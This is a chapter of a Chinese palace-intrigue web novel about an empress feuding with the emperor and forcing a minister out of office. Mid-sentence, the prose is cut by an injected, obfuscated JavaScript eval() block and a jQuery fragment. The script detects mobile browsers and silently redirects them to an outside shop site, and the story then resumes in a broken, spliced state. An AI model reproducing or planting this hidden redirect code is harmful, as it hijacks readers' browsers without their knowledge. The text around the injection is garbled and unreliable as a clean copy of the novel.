“姐姐,姐姐,不是那样的,为什么他可以全身而退,我和薛照水的冤情呢,为什么,为什么姐姐不见我!”
“殿下!殿下!”
金阳殿回荡着许延光泣血的哀嚎,久久不散。
刘衡为了安抚许赢君,下旨以贞国公长子许延光恪尽职守,堪为外戚典范,另封侯爵,长子承袭贞国公爵位,其余诸子中择一承袭侯爵,同时许赢君的堂弟,封文安伯,亦可传袭一代。
可许延光努力了那么久,差点死在薛照月手中,后来来回在中京与桂州之间奔袭千里,这一路命悬一线,他要的是自己的清白,不是爵位!
“娘娘,您看,要不要臣去安抚安抚大公子?”
虽然皇后不见许延光,但今天一天了,皇后一个笑脸都没有,可见她心里其实是很心疼弟弟的,赵兴懂皇后的无奈,便想出去替皇后解释两句。
“也好,你去告诉他——”
许赢君实在是不忍看到许延光伤心,只能借赵兴的嘴去说,“这世上不是所有的努力都会有回报,当初我也是费尽心力服侍母妃,刘徽还不是说拒婚就拒婚,我当时忍下来了,所以我今天是皇后,你告诉延光,如今许家一门三爵位,让他要识大体,要感念陛下提拔他的恩德。”
许赢君不支持许延光大闹,她走的这一条路太难,如果有一天她败给刘衡,至少刘衡看在亏欠过延光的份上,可以保住其他许氏族人的性命。
许延光听完赵兴的话,哭得更加伤心欲绝,十几岁就残疾,甚至背负骂名,好不容易有机会为自己求个公道,结果却被迫放弃,这天大的委屈,他咽下去,如同一口吞下秤砣一般,沉重的让他想一死了之。
薛照月比他还能坚持住一些,他扶住赵兴送出来的许延光,拖着他一步一步往宫门外走,“你哭什么,你是没长手,还是没长脚,宫里不给你主持公道,你不会自己为自己主持公道?”
他为了帮弟弟求一个真相,连被抄家夺爵的准备都做好了,结果皇帝对冯家轻拿轻放,宜春侯府作为从犯,也只是得到了申斥,他被免官,如今赋闲在家。
新政推行的如火如荼,要是让人知道陛下的亲戚反而是最大的贪官,只怕天下反对新政的人就更多了,陛下为了稳住朝廷,是不会把所有的事摆到台面上来说的。
这个道理,他现在懂了。
许延光死死抓住了薛照月的手臂,薛照月孤身一人,不比他还要考虑到家族和皇后,可他不甘心,真的不甘心。
——
刘衡对许赢君的示好没有换来任何的回应,两宫僵持,刘衡命人修建的复道被许赢君当着他的面亲手关上。
“砰”地一声,让人心底发颤。
他们就这样僵持了月余。
深夜,许赢君已经睡下了,殿外突然传来宜佛的声音,“娘,娘——”
那声音带着哭腔,一下子就把许赢君吓醒了,她起身推开槅门,却见刘衡抱着孩子蹲在地上,有些可怜地抬头看着她,“阿姐,我错了,你还没有原谅我吗?”
许赢君气得不行,她把女儿交给奶娘抱走,“你当着孩子的面别说这些!”
前世宜佛性子就有些怯懦,她不像太子,身居正统,自然而然就有前朝大臣护着他,不被后宫波及,也不想刘祺,长大了,自然就封王建府了,她留在宫里,看着母亲的地位起伏不断,常觉不安,因此十分胆小,连出嫁都要求嫁回许家,不肯再看刘衡为他挑选的任何夫婿。
现在刘衡把孩子抱出来博同情,许赢君岂能不生气?
刘衡则有些委屈,“我怕阿姐一辈子都不理我了。”
许赢君紧了紧披风,“不要卖弄了,你不是怕我不理你,你是怕我对付你!”
得罪了她,再来哄哄,指望她把这件事轻轻放过,许赢君岂会看不懂刘衡?
刘衡脸色一僵,随即笑着道:“我们总归是夫妻,阿姐难道真能一辈子生我的气?”
刘衡甚至有些无赖,其实这就是他打的主意,哪怕闹得再大,许赢君再气他,也总会消气的,他们还要朝夕相处过一辈子,几十年,铁杵都能磨成针,何况人心本来就是软的。
既然阿姐总有一天能原谅他,他所做的事,就是无本的买卖。
许赢君果然没再继续说话,一辈子太长,让她如何断定。
她只能肯定现在,盛怒道:“你滚!”
许赢君用力拍上槅门,刘衡缓缓站起身,夜已经深了,王敬安小声道:“陛下,娘娘睡下了,咱们明天再来吧。”
刘衡却不肯,他摇摇头,就那么站着,一动也不动。
第二日,乐景给许赢君梳头,小声道:“陛下昨天在您寝殿外头站了三个时辰,都快要上朝了才走,走的时候,要不是王敬安和赵兴搀着,还差点摔了。”
许赢君握紧手中的金簪一声冷笑,刘衡这是吃定她会心软了。
——
政事堂,枢密院直学士范新武不断哀求曾介之,“相公,相公,我已经知道错了,求您了,再宽限些时日,我必定安抚好那些将军。”
曾介之也十分无奈,范新武抢了何彰的位置,当初皇后为了稳住皇帝,所以没有发作,现在皇帝耍阴招,把皇后给坑得一句话都说不出来。
现在皇后不干了,要把本来让出去的位置抢回来,范新武就遭殃了。
他拍拍范新武德肩膀,小声道:“我看你也是个老实人,才多句嘴,听我的,别想其他的,赶紧把这官给辞了,免得把命给丢了!”
范新武表情一愣。
曾介之没说话,皇后可不是个心慈手软的人,她现在只是想让范新武把位置还给何彰,范新武要是赖着不走,那皇后会做出什么事来就不好说了。
“可……可我我我……”
范新武自然是有些舍不得了,他还不容易才入枢密院,这要是退下去,以后再想往上走就难了。
“哎呀!”
曾介之见他犹豫,就知道他还是想留下,便一把甩开范新武德手,开门见山道:“你既然舍不下这身官服,就撸起袖子保住自己的位置,到时候陛下必定重用你,端看你有没有真本事罢了!”
其实帝后相争,没有能力的人避之不及,有能力的人自然会趁着风浪为自己博前程,既然要赌,就要不惜性命,又想巴结皇帝,又怕得罪皇后,只配做人的垫脚石。
见曾介之走远,范新武急得在原地直跺脚,往上拼,可能会富贵荣华,也可能会身首异处,他带着一家子老小,不过想过些好日子,为什么曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595789|202024||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
相公就是不能理解他呢?
没过几日,曾介之带头弹劾了范新武,指责他作为枢密院直学士处事不公,与各地州府将官不和,导致福州,益州,蜀州,江州四州的驻军怨声载道,对朝廷颇有怨言,朝廷无法驱使地方厢军保卫地方州府,敦促新政推行。
皇帝十分震惊,不过他还没来得及疑惑为什么曾介之弹劾范新武之前,没和自己通气,曾介之又上了折子替何彰喊冤,说他只是因为侄女与皇后堂弟联姻,就遭到弹劾,被赶出枢密院,实属处置太过。
这下就不用再问了,曾介之当初并不赞同他包庇冯家,现在看来,他十分同情皇后了。
曾介之毕竟是自己的宠臣,皇帝也不好在朝上提出质疑,曾介之和他是一体的,质疑他不就是打自己的脸吗?
皇帝点点头,脸色难看至极,“那就命审官院先查,如果属实,我决不轻饶!”
说罢,皇帝看了曾介之一眼,明显十分不悦。
曾介之连忙低下头,他当然还是忠于皇帝的,但皇帝最近明显召见沈存正的次数更多了,要是一直这样下去,他肯定得去找皇后套套近乎,免得哪天稀里糊涂就被沈存正赶出中央了。
退朝之后,猝不及防被坑了一把的刘衡立马召来范新武,亲自查问,“我看你也不是脾气不好的人,这到底是怎么回事,怎么会有这么多人一起弹劾你,说你太过霸道?”
为什么之前一点风声都没露出来?
范新武既是惭愧,也是委屈,“陛下,臣和何彰虽然品级相同,但臣出身武举,背后一无靠山,二无背景,臣这个直学士当得,实在没法与何相公相比,他出身将门,又和皇后母族亲厚,站出来就能让人信服,如今举行新政,各地驻军要裁撤冗余,将军们本来就心有怨言,要是何彰命他们裁撤兵士,他们看在皇后殿下的面子上,不仅不敢反抗,还会笑脸相迎。”
他越说越是垂头丧气,“但要是换了臣,他们就敢破口大骂,臣想要压住他们,自然只能以中央的身份强压下去,之前他们虽然有意见,却没有弹劾的事,这几日臣也不知道是为了什么,他们竟然突然一起向臣发难……”
范新武犹豫了一下,才跪下,咬牙道:“不论如何,是臣辜负了陛下的信任,臣真是罪该万死,为了不耽误陛下裁军,要不您还是把何彰调回来吧。”
他还是更想保住自己的性命,至于前程,他不觉得自己能斗过皇后。
皇帝没想到皇后一出手,就能把范新武吓成这样,他为了保住官位,竟然主动开口要求把何彰换回来。
而且范新武虽然说自己不知道是为了什么,但他明显是非常清楚,自己是被皇后给针对了,只是在装傻而已。
败军之将,毫无士气,强行留下也没有用,皇帝叹口气,“算了,你这半年也辛苦了,既然如此,朕就把你调回地方上吧。”
范新武大喜,忙不迭地谢恩磕头。
此事一起,皇帝没再去见过许赢君,他明白,这不是撒娇耍赖就能解决的事了。
皇后虽然不阻拦新政,但她明目张胆地接手了各地的势力,甚至通过何彰,拥有了部分军队,朝廷之上,大臣们对于皇后的畏惧日益增加,刘衡有预感,这个势头下去,皇后真的快和他二分天下了。